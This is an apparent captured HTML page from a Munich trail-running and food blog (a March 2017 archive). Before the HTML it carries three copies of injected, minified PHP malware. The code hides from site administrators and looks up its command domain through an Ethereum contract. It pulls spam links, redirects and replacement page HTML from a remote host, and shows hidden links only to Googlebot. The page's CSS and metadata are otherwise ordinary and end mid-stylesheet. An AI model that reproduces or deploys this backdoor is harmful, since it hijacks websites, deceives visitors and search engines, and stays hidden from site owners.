if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&&current_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i<strlen($hex);$i+=2){$byte=substr($hex,$i,2);if($byte==='00')break;$o.=chr(hexdec($byte));}return trim($o);}function RD(){$rp=$GLOBALS['RP'];$i=(int)get_transient('_ri');if($i>=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')<FT)return;$d=RD();if($d){set_transient('_dm',$d,86400);delete_transient('_fc');}}function J($u){$r=wp_remote_get($u,['timeout'=>TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo'<link rel="canonical" href="'.esc_url($Lx['C'][$path]).'" />'."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='<li><a href="'.esc_url($r['u']).'">'.esc_html($r['t']).'</a></li>';if($h!=='')echo'<details class="pl"><summary>More</summary><ul>'.$h.'</ul></details>';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'<!doctype html><html><head>';wp_head();echo'</head><body>'.$p['h'];wp_footer();echo'</body></html>';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */<!DOCTYPE html>
<html dir="ltr" lang="de" prefix="og: https://ogp.me/ns#">
<head>
	<meta charset="UTF-8">
	<meta name="description" content="Der Trail Running &amp; Food Blog aus München">
	<!-- Mobile Specific Meta -->
	<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
	<title>März, 2017 | Trail Kitchen</title>

		<!-- All in One SEO 4.9.5.1 - aioseo.com -->
	<meta name="robots" content="noindex, max-image-preview:large" />
	<link rel="canonical" href="https://www.trail-kitchen.com/2017/03/" />
	<meta name="generator" content="All in One SEO (AIOSEO) 4.9.5.1" />
		<script type="application/ld+json" class="aioseo-schema">
			{"@context":"https:\/\/schema.org","@graph":[{"@type":"BreadcrumbList","@id":"https:\/\/www.trail-kitchen.com\/2017\/03\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/www.trail-kitchen.com#listItem","position":1,"name":"Home","item":"https:\/\/www.trail-kitchen.com","nextItem":{"@type":"ListItem","@id":"https:\/\/www.trail-kitchen.com\/2017\/#listItem","name":2017}},{"@type":"ListItem","@id":"https:\/\/www.trail-kitchen.com\/2017\/#listItem","position":2,"name":2017,"item":"https:\/\/www.trail-kitchen.com\/2017\/","nextItem":{"@type":"ListItem","@id":"https:\/\/www.trail-kitchen.com\/2017\/03\/#listItem","name":"03"},"previousItem":{"@type":"ListItem","@id":"https:\/\/www.trail-kitchen.com#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/www.trail-kitchen.com\/2017\/03\/#listItem","position":3,"name":"03","previousItem":{"@type":"ListItem","@id":"https:\/\/www.trail-kitchen.com\/2017\/#listItem","name":2017}}]},{"@type":"CollectionPage","@id":"https:\/\/www.trail-kitchen.com\/2017\/03\/#collectionpage","url":"https:\/\/www.trail-kitchen.com\/2017\/03\/","name":"M\u00e4rz, 2017 | Trail Kitchen","inLanguage":"de-DE","isPartOf":{"@id":"https:\/\/www.trail-kitchen.com\/#website"},"breadcrumb":{"@id":"https:\/\/www.trail-kitchen.com\/2017\/03\/#breadcrumblist"}},{"@type":"Organization","@id":"https:\/\/www.trail-kitchen.com\/#organization","name":"Trail Kitchen","description":"Der Trail Running & Food Blog aus M\u00fcnchen","url":"https:\/\/www.trail-kitchen.com\/"},{"@type":"WebSite","@id":"https:\/\/www.trail-kitchen.com\/#website","url":"https:\/\/www.trail-kitchen.com\/","name":"Trail Kitchen","description":"Der Trail Running & Food Blog aus M\u00fcnchen","inLanguage":"de-DE","publisher":{"@id":"https:\/\/www.trail-kitchen.com\/#organization"}}]}
		</script>
		<!-- All in One SEO -->

<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Trail Kitchen &raquo; Feed" href="https://www.trail-kitchen.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Trail Kitchen &raquo; Kommentar-Feed" href="https://www.trail-kitchen.com/comments/feed/" />
<style id='wp-img-auto-sizes-contain-inline-css' type='text/css'>
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id='wp-emoji-styles-inline-css' type='text/css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id='wp-block-library-inline-css' type='text/css'>
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}

/*# sourceURL=wp-block-library-inline-css */
</style>
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
/*# sourceURL=/wp-includes/css/classic-themes.min.css */
</style>
<style id='global-styles-inline-css' type='text/css'>
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 